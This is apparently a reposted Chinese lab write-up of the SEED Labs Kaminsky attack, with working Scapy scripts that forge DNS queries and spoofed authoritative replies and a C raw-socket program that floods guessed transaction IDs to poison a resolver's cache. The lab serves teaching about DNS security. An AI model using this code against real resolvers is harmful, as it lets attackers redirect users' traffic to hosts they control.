【Seed-Labs 2.0】The Kaminsky Attack Lab

说在前面

本实验属为Seed-Labs 的DNS LAB 中的第二个实验,是第一个实验的延伸,从攻击者和受害者同一个LAN中变成不在同一个LAN中,该系列一共有五个实验:

  • Local DNS Attack Lab
  • The Kaminsky Attack Lab
  • DNS Rebinding Attack Lab
  • DNS Infrastructure Lab
  • DNSSEC Lab

本实验的相关文件参见官网 Local DNS Attack Lab
本实验建议在官方提供的虚拟机环境中进行,可以参考 SEED-labs-ubuntu 20.04 虚拟机环境搭建

The Kaminsky Attack

关于 Kaminsky: https://en.wikipedia.org/wiki/Dan_Kaminsky

Kaminsky Attack(卡明斯基攻击)是一种针对DNS(Domain Name System)服务器的缓存中毒攻击(DNS Cache Poisoning)。这种攻击于2008年由安全研究员丹·卡明斯基(Dan Kaminsky)发现,并且具有高效性和隐蔽性,影响范围广泛。

DNS缓存的工作原理: DNS服务器通过递归查询的方式解析域名。为了提高效率,DNS服务器会缓存查询结果并将其提供给其他请求者。例如,当一个用户请求解析 example.com 时,DNS服务器会将解析结果缓存一段时间。

DNS缓存中毒的目标: 攻击者通过伪造的DNS响应,向目标DNS服务器注入恶意的解析记录。如果成功,用户请求合法域名(如 example.com)时,DNS服务器会提供错误的记录(如将 example.com 指向攻击者的IP地址)。

关键要素: DNS请求包含了一个16位的事务ID(Transaction ID, TXID),用于匹配请求和响应。缓存中毒需要满足以下条件:

  • 响应必须在合法的DNS服务器答复之前到达。
  • 响应的事务ID必须与请求匹配。
  • 域名查询必须正确(例如 example.com 的问题部分匹配)。

传统缓存中毒攻击的问题: 由于事务ID仅有16位,可能的值只有65,536种。在传统攻击中,攻击者需要猜测事务ID并伪造响应。如果事务ID不匹配,则响应会被丢弃。

Kaminsky攻击: 卡明斯基发现了一种高效的方式,通过利用DNS的递归查询特性,使缓存中毒攻击变得更容易。Kaminsky 攻击过程:

  1. 触发DNS递归查询: 攻击者向受害DNS服务器发送一个针对不存在子域的请求,例如 random1234.example.com。因为该子域不存在,目标DNS服务器会向权威DNS服务器查询。

  2. 伪造响应: 攻击者伪造来自权威DNS服务器的响应,尝试注入错误的A记录(IPv4地址)。
    例如,将 example.com 的A记录替换为攻击者的IP地址。

  3. 重复尝试: 攻击者通过快速发送大量伪造响应来覆盖所有可能的事务ID值。如果事务ID匹配且响应先到达,则恶意数据被缓存。

在这里插入图片描述

本实验将 Kaminsky 攻击过程进行拆分,Task1 进行实验环境配置,Task2 实现伪造DNS请求,Task3 实现伪造DNS响应,Task4 实现完整的Kaminsky攻击,Task5 对攻击效果进行验证。


Attack Lab

Task1:Lab Environment Setup

本实验的相关文件参见官网 The Kaminsky Attack Lab
本实验建议在官方提供的虚拟机环境中进行,可以参考 SEED-labs-ubuntu 20.04 虚拟机环境搭建

本实验需要四台独立的机器:一台用于受害者,一台用于 DNS 服务器,两台用于攻击者,如下图所示。Lab为了简化设置将四台机器放在了同一个LAN上,但是我们要忽略这一点,需将Attacker是做远程机器,即Attacker无法在LAN上嗅探数据包。

在这里插入图片描述

Container Setup

1.进入 Labsetup 文件夹,分别输入 dcbuilddcup启动实验所需的所有容器。

在这里插入图片描述

2.可以输入 dockps 查看所有的容器。

在这里插入图片描述

Testing the DNS Setup

Get the IP address of ns.attacker32.com. 在 user 容器中输入 dig ns.attacker32.com 查看查询结果。

在这里插入图片描述

Get the IP address of www.example.com.

1.在 user 容器中输入 dig www.example.com 查看查询结果。

在这里插入图片描述

2.在 user 容器中输入 dig @ns.attacer32.com www.example,com,查看查询结果。

在这里插入图片描述

Task 2: Construct DNS request

任务: 伪造DNS请求给Local DNS Server,使其向 example.com 发送DNS查询。

1.撰写伪造发送程序 task2.py 。

#!/usr/bin/python3
from scapy.all import *

Qdsec = DNSQR(qname='austin.example.com')   # 请求域名写 xxxx.example.com, xxx随意替换
dns   = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
ip  = IP(src='1.2.3.4',dst='10.9.0.53')     # 原地址随便写,目的地址10.9.0.53
udp = UDP(sport=12345, dport=53,chksum=0)   # 原端口随便写,目的端口53

request = ip/udp/dns
send(request)

2.使用wireshark监听 Local DNS Server。运行 task2.py,发现 Local DNS Server接受到伪造的DNS 请求后,向外发送DNS请求。证明伪造成功。

在这里插入图片描述

Task 3: Spoof DNS Replies.

任务: 伪造DNS响应数据包,并发送到 Local DNS Server 上。

1.从Task2 的 wireshark 抓包结果,我们可以得到 example.com 服务器的IP地址为 199.43.135.53

2.编写 task3.py

#!/usr/bin/python3
from scapy.all import *

name= "austin.example.com"
domain = "example.com"
ns= "ns.attacker32.com"
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns= DNS(id=0xAAAA, aa=1, rd=1, qr=1,qdcount=1, ancount=1, nscount=1, arcount=0,qd=Qdsec, an=Anssec, ns=NSsec)
ip= IP(dst='10.9.0.53', src='199.43.135.53') # src = 'example.com' DNS server‘s IP
udp= UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns

send(reply)

3.使用 wireshark 监听 Local DNS Server。运行 task3.py,发现 Local DNS Server接受到伪造的DNS 响应。

在这里插入图片描述

Task 4: Launch the Kaminsky Attack.

任务: 实现完整的 Kaminsky Attack。

分析: 我们如果使用 .py 文件来实现伪造并发送大量的响应包,可能会因为 .py 文件较低的运行速度而无法在真实的.example.com 的DNS服务器响应返回之前将大量的伪造响应发送至 Local DNS Server上。所以此处我们编写 .c 文件,利用 .c 文件高效的运行速度来实现伪造数据包的发送功能。同时,考虑到使用C语言创建伪造 DNS 数据包的步骤较繁琐,所以我们使用 .py 文件来简化数据包的创建过程。所以最终的 Kaminsky Attack 的实现方案为 .py + .c :

  • gen_dns_request.py - 伪造 DNS 请求包
  • gen_dns_response.py - 伪造 DNS 响应包
  • attack.c - 修改 .py 伪造的DNS 数据包,并实现数据包的发送。

1.编写 gen_dns_request.py

#!/bin/env python3
from scapy.all import *

srcIP = '10.0.0.5'  
dstIP = '10.9.0.53'  # Local DNS Server
ip  = IP (dst=dstIP, src=srcIP)
udp = UDP(dport=53, sport=50945, chksum=0)

# The C code will modify the qname field
Qdsec = DNSQR(qname='austi.example.com')
dns   = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)

pkt = ip/udp/dns
with open('ip_req.bin', 'wb') as f:
    f.write(bytes(pkt))

2.编写 gen_dns_response.py

#!/bin/env python3
from scapy.all import *

# The source IP can be any address, because it will be replaced 
# by the C code with the IP address of example.com's actual nameserver. 
ip  = IP (dst = '10.9.0.53', src = '199.43.133.53')

udp = UDP(dport = 33333, sport = 53,  chksum=0)

# Construct the Question section
# The C code will modify the qname field
Qdsec  = DNSQR(qname  = "austi.example.com")

# Construct the Answer section (the answer can be anything)
# The C code will modify the rrname field
Anssec = DNSRR(rrname = "austi.example.com",
               type   = 'A', 
               rdata  = '1.2.3.4', 
               ttl    = 259200)

# Construct the Authority section (the main goal of the attack) 
NSsec  = DNSRR(rrname = 'example.com', 
               type   = 'NS', 
               rdata  = 'ns.attacker32.com',
               ttl    = 259200)

# Construct the DNS part 
# The C code will modify the id field
dns    = DNS(id  = 0xAAAA, aa=1, rd=1, qr=1, 
             qdcount = 1, qd = Qdsec,
             ancount = 1, an = Anssec, 
             nscount = 1, ns = NSsec)

# Construct the IP packet and save it to a file.
Replypkt = ip/udp/dns
with open('ip_resp.bin', 'wb') as f:
    f.write(bytes(Replypkt))

3.编写 attack.c

#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>

#define MAX_FILE_SIZE 1000000
#define QNAME_OFFSET 41
#define ANS_NAME_OFFSET 64
#define TRANS_ID_OFFSET 28

/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address 
  struct  in_addr    iph_destip;   //Destination IP address 
};

void send_dns_request(unsigned char *pkt, int pktsize, char* name);
void send_dns_response(unsigned char* pkt, int pktsize, char* name, unsigned short id);
void send_raw_packet(char * buffer, int pkt_size);

int main()
{

  srand(time(NULL));

  // Load the DNS request packet from file
  FILE * f_req = fopen("ip_req.bin", "rb");
  if (!f_req) {
     perror("Can't open 'ip_req.bin'");
     exit(1);
  }
  unsigned char ip_req[MAX_FILE_SIZE];
  int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

  // Load the first DNS response packet from file
  FILE * f_resp = fopen("ip_resp.bin", "rb");
  if (!f_resp) {
     perror("Can't open 'ip_resp.bin'");
     exit(1);
  }
  unsigned char ip_resp[MAX_FILE_SIZE];
  int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

  char a[26]="abcdefghijklmnopqrstuvwxyz";
  unsigned short trans_id = 0;
  while (1) {
    // Generate a random name with length 5
    char name[6];
    name[5]='\0'; // Null-terminate the string
    for (int k=0; k<5; k++)  
      name[k] = a[rand() % 26];
    
    printf("Sending DNS request for name: %s\n", name); // Print the name

    /* Step 1. Send a DNS request to the targeted local DNS server.
               This will trigger the DNS server to send out DNS queries */

    send_dns_request(ip_req, n_req, name);

    /* Step 2. Send many spoofed responses to the targeted local DNS server,
               each one with a different transaction ID. */
    
    for (int i = 0; i< 500; i++){
      send_dns_response(ip_resp, n_resp, name, trans_id);
      trans_id++;
    }
    
  }
}


void send_dns_request(unsigned char *pkt, int pktsize, char* name)
{
  // Use for sending DNS request.
  
  // Step 1: replace qname with name, at offset 41
  memcpy(pkt+QNAME_OFFSET, name, 5);
  
  // Step 2: send the dns query out
  send_raw_packet(pkt, pktsize);

}


void send_dns_response(unsigned char* pkt, int pktsize, char* name, unsigned short id)
{
  //Use for sending forged DNS response.
  // the C code will modify src, qname, rrname and the id field

  // Step 1: Modify the name in the question field (offset=41)
  memcpy(pkt+QNAME_OFFSET, name, 5);

  // Step 2: Modify the name in the answer field (offset=64)
  memcpy(pkt+ANS_NAME_OFFSET, name, 5);

  // Step 3: Modify the transaction ID field (offset=28)
  unsigned short net_id = htons(id);  // htons converts to network byte order
  memcpy(pkt+TRANS_ID_OFFSET, &net_id, 2);
  
  //Step 4: send the dns response out
  send_raw_packet((char*)pkt, pktsize);
}


/* Send the raw packet out 
 *    buffer: to contain the entire IP packet, with everything filled out.
 *    pkt_size: the size of the buffer.
 * */
void send_raw_packet(char * buffer, int pkt_size)
{
  struct sockaddr_in dest_info;
  int enable = 1;

  // Step 1: Create a raw network socket.
  int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

  // Step 2: Set socket option.
  setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
	     &enable, sizeof(enable));

  // Step 3: Provide needed information about destination.
  struct ipheader *ip = (struct ipheader *) buffer;
  dest_info.sin_family = AF_INET;
  dest_info.sin_addr = ip->iph_destip;

  // Step 4: Send the packet out.
  sendto(sock, buffer, pkt_size, 0,
       (struct sockaddr *)&dest_info, sizeof(dest_info));
  close(sock);
}

4.在 Attacker 上先后运行 gen_dns_request.pygen_dns_response.pyattack.c ( .c 文件需在虚拟机上编译后再进入 Attacker运行)。运行后,进入 Local DNS Server 容器使用下面的命令查看本地缓存。发现本地缓存已成功存入 ns.attacker32.com。说明攻击成功。

# rndc dump -cache && grep attacker /var/cache/bind/dump/db

在这里插入图片描述

Task 5: Result Verification

任务: 测试 Task4 的攻击成功与否:输入 dig www.example.com 后的结果应该与 dig @ns.attacker32.com www.example.com 的结果相同。

1.输入 dig www.example.com

在这里插入图片描述

2.输入 dig @ns.attacker32.com www.example.com,发现二者结果相同,证明我们的攻击成功。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/922474.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

类的实例化

文章目录 一、实例化2.1 实例化概念 一、实例化 2.1 实例化概念 用类类型在物理内存中创建对象的过程&#xff0c;称为类实例化出对象。 类是对象进行⼀种抽象描述&#xff0c;是⼀个模型⼀样的东西&#xff0c;限定了类有哪些成员变量&#xff0c;这些成员变量只是声明&…

《图像梯度与常见算子全解析:原理、用法及效果展示》

简介:本文深入探讨图像梯度相关知识&#xff0c;详细介绍图像梯度是像素灰度值在不同方向的变化速度&#xff0c;并以 “pig.JPG” 图像为例&#xff0c;通过代码展示如何选取图像部分区域并分析其像素值以论证图像梯度与边缘信息的关联。接着全面阐述了 Sobel 算子&#xff0c…

解决IDEA报包不存在,但实际存在的问题

前言 最近在把一个亿老项目交割给同事&#xff0c;同事在导入项目运行时遇到IDEA报包不存在&#xff0c;但实际存在的问题&#xff0c;最终通过以下方式解决 现象 在IDEA里启动运行项目&#xff0c;报某个类有问题&#xff0c;引入的包不存在。 点击这个引入的包&#xff0c;可…

C++(进阶) 第1章 继承

C&#xff08;进阶) 第1章 继承 文章目录 前言一、继承1.什么是继承2.继承的使用 二、继承方式1.private成员变量的&#xff08;3种继承方式&#xff09;继承2. private继承方式3.继承基类成员访问⽅式的变化 三、基类和派生类间的转换1.切片 四、 继承中的作⽤域1.隐藏规则&am…

resnet50,clip,Faiss+Flask简易图文搜索服务

一、实现 文件夹目录结构&#xff1a; templates -----upload.html faiss_app.py 前端代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widt…

SFP+光模块介绍

SFP光模块介绍 1 SFP光模块简介(Small Form -Factor Pluggable)2 光模块管脚定义 1 SFP光模块简介(Small Form -Factor Pluggable) 光模块&#xff08;Optical Module&#xff09;由光电子器件、功能电路和光接口等组成&#xff0c;光电子器件包括激光发射器(Laser Transmitte…

Redis——Raft算法

Raft使用较为广泛的强一致性、去中心化、高可用的分布式协议&#xff0c;即使在网络、节点故障等情况下&#xff0c;多个节点依然能达到一致性。 其中redis、etcd等都用到了这种算法 在Redis集群中&#xff0c;采取的主从复制结构&#xff0c;当主节点宕机后&#xff0c;哨兵会…

【网络系统管理】2023年全国职业院校技能大赛:组策略--10套题组合--3

11、阻止Microsoft账户登录 (1)计算机配置\策略\Windows设置\安全设置\本地策略\安全选项 12、允许更改系统时间 (1)计算机配置\策略\Windows设置\安全设置\本地策略\用户权限分配 13、可以登录本机的用户 (1)计算机配置\策略\Windows设置\安全设置\本地策略\用户权限…

Glide源码学习

前言 开始 基本使用非常简单&#xff0c;链式调用把context对象传入&#xff0c;设置要加载的URL&#xff0c;设置要填充的ImageView控件&#xff0c;方法很简洁&#xff0c;每次都是传入的最核心的参数&#xff0c;底层加载的缓存逻辑&#xff0c;加载的引擎&#xff0c;加载…

基于RFSOC实现LFMCW雷达测距测速

雷达原理可以参考以下文章 https://zhuanlan.zhihu.com/p/508764579 一般情况下&#xff0c;雷达发射信号的模型可采用线性调频连续波&#xff08;LFMCW&#xff09; &#xff0c;发射波形的信号形式为调频连续锯齿波。线性调频的含义即调制信号频率随时间线性变化&#xff0c…

VELO SkyOW+坐垫,一起Cityride温暖你的上海之旅

随着冬季的到来&#xff0c;上海的街头巷尾弥漫着一种独特的浪漫气息&#xff0c;当金黄的落叶从空中飘落&#xff0c;铺满路边&#xff0c;只是路过就仿佛骑进了一幅世界名画。无论是沿着外滩漫游&#xff0c;还是穿行在浦东的高楼间&#xff0c;骑行的方式总能让你充分体验到…

基于lora的llama2二次预训练

基于lora的llama2二次预训练 一、为什么需要对llama2做基于lora的二次预训练? 加入中文训练语料进行llama2的二次预训练&#xff0c;这样模型就可以增加支持中文输出的能力。 二、基于lora的llama2二次预训练的目标是什么&#xff1f; 在保持预训练模型权重不变的情况下&a…

探索 Python 任务自动化的新境界:Invoke 库揭秘

文章目录 探索 Python 任务自动化的新境界&#xff1a;Invoke 库揭秘背景&#xff1a;为何选择 Invoke&#xff1f;什么是 Invoke&#xff1f;如何安装 Invoke&#xff1f;5个简单的库函数使用方法1. 定义任务2. 带参数的任务3. 运行 Shell 命令4. 任务参数化5. 列出任务 场景应…

利用Prompt工程为LLM提升推理能力

利用Prompt工程为LLM提升推理能力 基于策略的推理详解ReAct: 推理与行动思维链&#xff1a;逐步解决问题反思&#xff1a;深入分析和自我审查与代理架构的集成实际应用代码附录 众所周知&#xff0c;一个精心设计的Prompt能够显著增强大型语言模型&#xff08;LLMs&#xff09;…

C#开发合集

用C#轻松搞定m3u8视频下载与合并 嘿&#xff0c;程序员们&#xff01;今天咱们来聊聊如何用C#写个小程序&#xff0c;轻松下载和合并m3u8视频文件。没错&#xff0c;就是那种分段的流媒体视频。准备好了吗&#xff1f;让我们开始吧&#xff01; 准备工作 在动手之前&#xf…

java框架Netty网络编程——问鼎篇

Netty进阶 粘包现象 案例 服务端代码 public static void main(String[] args) {NioEventLoopGroup bossGroupnew NioEventLoopGroup(1);NioEventLoopGroup workerGroupnew NioEventLoopGroup(2);try {ServerBootstrap serverBootstrap new ServerBootstrap();serverBootstr…

堤防安全监测系统方案

一、背景情况 堤防是开发利用水资源和防治水灾害的重要工程措施之一&#xff0c;对防洪、供水、生态、发电、航运等至关重要。我国现有堤防9.8万多座&#xff0c;其中大中型堤防4700多座、小型堤防9.4万座&#xff0c;80%以上修建于上世纪50至70年代。由于堤防管护力量薄弱&am…

模型减肥秘籍:模型压缩技术 知识蒸馏

教程链接&#xff1a;模型减肥秘籍&#xff1a;模型压缩技术-课程详情 | Datawhale 知识蒸馏&#xff1a;让AI模型更轻更快 在人工智能快速发展的今天&#xff0c;我们经常需要在资源受限的设备&#xff08;如手机、IoT设备&#xff09;上运行AI模型。但这些设备的计算能力和…

golang实现TCP服务器与客户端的断线自动重连功能

1.服务端 2.客户端 生成服务端口程序: 生成客户端程序: 测试断线重连: 初始连接成功

React表单联动

Ant Design 1、dependencies Form.Item 可以通过 dependencies 属性&#xff0c;设置关联字段。当关联字段的值发生变化时&#xff0c;会触发校验与更新。 一种常见的场景&#xff1a;注册用户表单的“密码”与“确认密码”字段。“确认密码”校验依赖于“密码”字段&#x…